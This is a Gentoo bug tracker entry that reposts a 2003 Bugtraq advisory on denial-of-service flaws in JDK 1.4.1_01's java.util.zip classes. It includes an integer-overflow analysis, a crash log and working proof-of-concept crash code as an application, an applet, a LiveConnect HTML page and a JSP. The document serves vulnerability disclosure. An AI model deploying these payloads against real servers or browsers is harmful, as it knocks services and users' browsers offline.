Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 17574 - dev-java/*-1.4.1_01
Summary: dev-java/*-1.4.1_01
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Linux
Classification: Unclassified
Component: New packages (show other bugs)
Hardware: All Linux
: Highest critical (vote)
Assignee: Gentoo Security
URL:
Whiteboard:
Keywords:
Depends on:
Blocks:
 
Reported: 2003-03-15 15:06 UTC by Daniel Ahlberg (RETIRED)
Modified: 2003-05-04 09:08 UTC (History)
0 users

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Daniel Ahlberg (RETIRED) gentoo-dev 2003-03-15 15:06:50 UTC
Denial-Of-Service holes in JDK 1.4.1_01 
 
From:  
Marc Schoenefeld <schonef@uni-muenster.de> 
 
 
To:  
bugtraq@securityfocus.com 
 
 
Date:  
Today 00.20.47 
 
 
-----BEGIN PGP SIGNED MESSAGE----- 
Hash: SHA1 
 
Denial-Of-Service holes in 
JDK 1.4.1_01 
Security Alert 
by 
Marc Schoenefeld 
 
(html version at http://www.illegalaccess.org) 
 
Several Java distributions (like the popular JDK 1.4.1 JRE from Sun) 
have been found to contain several locally 
Denial of Service vulnerabilities 
in java.util.zip.* system-classes 
exploitable by 
malicious applets and applications 
 
Mar 10, 2003 
 
Description: 
Several Java distributions (like the popular JDK 1.4.1 JRE from Sun) 
have been found to contain a locally exploitable Denial of Service. 
The problem appears difficult to exploit, but hackers have a history 
of discovering and releasing exploit code for exploitable flaws. The 
techniques described here have been presented at the Blackhat Windows 
Security 2003 conference. 
The following threats appear on the whole range where java technology 
is present: 
 
A malicious user or an attacker could insert the described exploitable 
API code to force JVM crashes in the ISPs runtime environment. This 
will cause outage of the JSP / servlet service the JVM is running for. 
This has been tested with Tomcat 4.1.18 with security options 
turned on. 
There is not only a threat for server-based services, furthermore a 
malicious applet containing the code exploiting the vulnerable classes 
could crash browser software like Internet Explorer, Netscape 
Navigator, Lotus Notes that have Java functionality enabled. 
Analysis: 
Java DK 1.4.1 has entry points to native libraries. These entry points 
can be called with parameters (java simple types or objects). If an 
object value is set to null and the native routine does not provide 
appropriate check for null values, the JVM reaches an undefined state 
and typically ends of in a JVM crash. The following proof of concept 
code describes the problem stated above. If you are interested for 
details about JVM security see the presentation of Marc Schoenefeld at 
Blackhat USA 2002 and LSD-PL at Blackhat Asia 2002. 
In this specific case there seems to a protection against buffer 
underflow in the vulnerable classes, which can be disabled by a 
special combination of the accompanying parameters, which cause via an 
underflow condition. If the injected buffer can be used for shell code 
injection is still under investigation. 
 
This vulnerabilities can be exploited in the following scenarios if 
the vulnerable method is called 
 
in a java application, there is low to medium risk, because attacker 
normally needs access to local file system, the risk if classes are 
loaded dynamically from the network and the jar-files are infected 
with the exploit 
in a java servlet or java server page, there is medium to high risk, 
because attacker normally needs access to the webroot directory. After 
injecting an infected servlet/server page , the attacker calls it via 
http and the servlet engine (tested with tomcat 4.1.18) dies with an 
JVM crash. Unfortunately the -security parameter has no effect, 
because java.util.zip.CRC32 is a trusted class. 
in a java servlet, there is high risk, resulting in a 
denial-of-service of the browser software. This has been tested with 
several browsers and JDKs plugged in on W32 and Linux, including 
popular platforms like Internet Explorer 5/6, Mozilla and Konqueror 
browser utilizing Java Plugins like the current JRE 1.4.1 or JRE 
1.3.1. 
 
 
D:\entw\java\blackhat\crash>java -classpath . CRCCrash.java 
 
Result 
An unexpected exception has been detected in native code outside the 
VM. 
Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at 
PC=0x6D3220A4 
Function=Java_java_util_zip_ZipEntry_initFields+0x288 
Library=C:\Programme\Java\j2re1.4.1_01\bin\zip.dll 
 
Current Java thread: 
at java.util.zip.CRC32.updateBytes(Native Method) 
at java.util.zip.CRC32.update(CRC32.java:53) 
at CRCCrash.main(CRCCrash.java:3) 
 
Dynamic libraries: 
0x00400000 - 0x00406000 C:\WINDOWS\system32\java.exe 
0x77F40000 - 0x77FEE000 C:\WINDOWS\System32\ntdll.dll 
0x77E40000 - 0x77F38000 C:\WINDOWS\system32\kernel32.dll 
0x77DA0000 - 0x77E3C000 C:\WINDOWS\system32\ADVAPI32.dll 
0x78000000 - 0x78086000 C:\WINDOWS\system32\RPCRT4.dll 
0x77BE0000 - 0x77C33000 C:\WINDOWS\system32\MSVCRT.dll 
0x6D330000 - 0x6D45A000 
C:\Programme\Java\j2re1.4.1_01\bin\client\jvm.dll 
0x77D10000 - 0x77D9C000 C:\WINDOWS\system32\USER32.dll 
0x77C40000 - 0x77C80000 C:\WINDOWS\system32\GDI32.dll 
0x76AF0000 - 0x76B1D000 C:\WINDOWS\system32\WINMM.dll 
0x76330000 - 0x7634C000 C:\WINDOWS\System32\IMM32.DLL 
0x6D1D0000 - 0x6D1D7000 C:\Programme\Java\j2re1.4.1_01\bin\hpi.dll 
0x6D300000 - 0x6D30D000 C:\Programme\Java\j2re1.4.1_01\bin\verify.dll 
0x6D210000 - 0x6D229000 C:\Programme\Java\j2re1.4.1_01\bin\java.dll 
0x6D320000 - 0x6D32D000 C:\Programme\Java\j2re1.4.1_01\bin\zip.dll 
0x76C50000 - 0x76C72000 C:\WINDOWS\system32\imagehlp.dll 
0x6DA00000 - 0x6DA7D000 C:\WINDOWS\system32\DBGHELP.dll 
0x77BD0000 - 0x77BD7000 C:\WINDOWS\system32\VERSION.dll 
0x76BB0000 - 0x76BBB000 C:\WINDOWS\system32\PSAPI.DLL 
 
Local Time = Mon Feb 03 12:15:38 2003 
Elapsed Time = 0 
# 
# The exception above was detected in native code outside the VM 
# 
# Java VM: Java HotSpot(TM) Client VM (1.4.1_01-b01 mixed mode) 
# 
Figure 1: JVM Crash 
 
Sample Exploit Application 
This application has been successfully tested harmful with Sun JDK 
1.3.1, 1.4.0, 1.4.1, IBM JDK 1.3.1 on several tested platforms 
including W32, Linux, Solaris and AIX. As this exploit affects trusted 
system libs it is likely that J2EE application servers and JMX runtime 
components are also affected. 
If non-desktop related java environments like the embedded solutions 
frameworks (MIDP) for devices like cellular phones is affected is 
still under investigation. 
 
public class CRCCrash { 
public static void main(String[] args) { 
(new java.util.zip.CRC32()).update(new byte[0] ,4 , 
Integer.MAX_VALUE-3); 
} 
} 
 
Figure 2: CRCCrash.java 
 
Sample Exploit Applet 
This applet has been successfully tested harmful with IE6, IE5, 
Mozilla, Konqueror, but it is expected that other java based browsers 
and systems with embedding browsers with java functionality like Lotus 
Notes, Outlook, etc. are also vulnerable because the exploitable 
component is the underlying JDK (see above). 
 
/** 
* Describe class <code>CRC32CrashApplet</code> here. 
* 
* @author <a href="mailto:Marc@illegalaccess.org">Marc Schoenefeld</a> 
* @version 1.0 
*/ 
public class CRC32CrashApplet extends java.applet.Applet { 
public void paint(java.awt.Graphics g) 
{ 
java.util.zip.CRC32 crc = new java.util.zip.CRC32(); 
crc.update(new byte[0],4,Integer.MAX_VALUE-3); 
g.drawString("Crash the browser!", 20, 90); 
} 
} 
 
Figure 3: CRC32CrashApplet.java 
 
Sample Exploit Liveconnect page 
<html> <body> <script language=javascript> 
b=java.lang.String("");c=b.getBytes();a=new 
java.util.zip.Adler32();a.update(c,4, 0x7ffffffc); </script> 
</body> </html> 
 
Figure 4: CRC32Crash.html 
 
Sample Exploit Java Server Page 
This server page has been tested with Apache Jakarta Tomcat 4.1.18, 
but it is expected that other servlet engines like Websphere, JRun are 
also vulnerable because the exploitable component is the underlying 
JDK (see above). 
 
<%@pagecontentType="text/html;charset=WINDOWS-1252" 
import="java.util.zip.*"%> 
<% %> 
<%! %> 
<% (new CRC32()).update(new byte[0],4,Integer.MAX_VALUE-3); %> 
<html> 
<head> 
<title>Crash-JSP mit java.util.zip.CRC32.update</title> 
</head> 
<body> 
<hr> 
<h1>Crash-JSP mit sun.misc.MessageUtils.toStderr(null)</h1> 
<h2> Marc Schoenefeld , marc@illegalaccess.org </h2> 
</body> 
</html> 
 
 
Figure 5: CRC32CrashApplet.jsp 
 
Affected methods and classes 
java.util.zip.Adler32().update(?); 
java.util.zip.Deflater().setDictionary(?); 
java.util.zip.CRC32().update(?); 
java.util.zip.Deflater().deflate(?); 
java.util.zip.CheckedOutputStream().write(?); 
java.util.zip.CheckedInputStream().read(?); 
Detection: 
Scan the importes of the (if self-written) classes of your java 
applications (especially if downloaded from remote sites) if they call 
into the affected methods. 
Analysis: 
CRC32 has native calls in the following methods: 
 
private native static int update(int adler, int b); 
private native static int updateBytes(int adler, byte[] b, int off, 
int len); 
It was detected to be that the source of all vulnerabilites are 
inadequate range checks which then lead to integer overflows. The 
CRC32 functions that guard the native call to zip.dll seems to be 
coded somehow like the following: 
 
public class CRC32 [...] { 
[...] 
public void update(byte[] buff, int offset, int lenny) { 
if (buff == null) 
{ 
throw new NullPointerException(); 
} 
if (offset < 0 || lenni < 0 || offset + lenny > buff.length) 
{ 
throw new ArrayIndexOutOfBoundsException(); 
} adler = updateBytes(adler, b, offset, lenny); 
} 
 
the buffer has to be non-null, therefore the exploit uses byte[0] 
if offset < 0 the call is rejected 
if lenny< 0 the call is rejected 
If offset + lenny is larger than buff.length the call is rejected 
To exploit the vulnerability a situation must be created where 
offset + lenny =< buff.length AND offset >= 0 AND lenny >=0 
 
 
 
which is in our example given for 
x = 4 : 
offset = x AND length = Integer.MAX_VALUE - x + buff.length+1 
 
Workaround: 
Disable Java , or if this is not possible 
Do not download java applet from untrusted sources 
Ask your JRE/JDK vendor (Sun, IBM, ?) for a security update 
Patch Available 
The vulnerabilities described here are no longer present in JDK 
1.4.1_02. The present JDK 1.3.1_07 is still affected. A patch for IBM 
JDK is not known. 
 
History 
The bugs have been reported to the official java bug database on Feb 
03, 2003 and have been considered to be new, their URLs in the bug database 
are 
 
http://developer.java.sun.com/developer/bugParade/bugs/4811913.html 
http://developer.java.sun.com/developer/bugParade/bugs/4812181.html 
http://developer.java.sun.com/developer/bugParade/bugs/4812006.html 
http://developer.java.sun.com/developer/bugParade/bugs/4811927.html 
http://developer.java.sun.com/developer/bugParade/bugs/4811917.html 
 
Further Information 
An extended version of this report with a summary about native 
method vulnerabilites can be downloaded from IDefense.com. 
 
Contributor: 
Marc Schoenefeld , www.illegalaccess.org 
 
First they ignore you 
Then they laugh at you 
Then they fight you 
Then you win 
- -- Mahatma Gandhi-- 
 
 
 
-----BEGIN PGP SIGNATURE----- 
Version: GnuPG v1.0.6 (AIX) 
Comment: For info see http://www.gnupg.org 
 
iD8DBQE+cmPRqCaQvrKNUNQRAugTAJ9Ip4M9iNjVX5cZc9ZXn25Wl6/o2wCfRdM0 
TN6Bn7xHA7bMu5vwhsnORBo= 
=bKyo 
-----END PGP SIGNATURE-----
Comment 1 Daniel Ahlberg (RETIRED) gentoo-dev 2003-05-04 09:08:57 UTC
.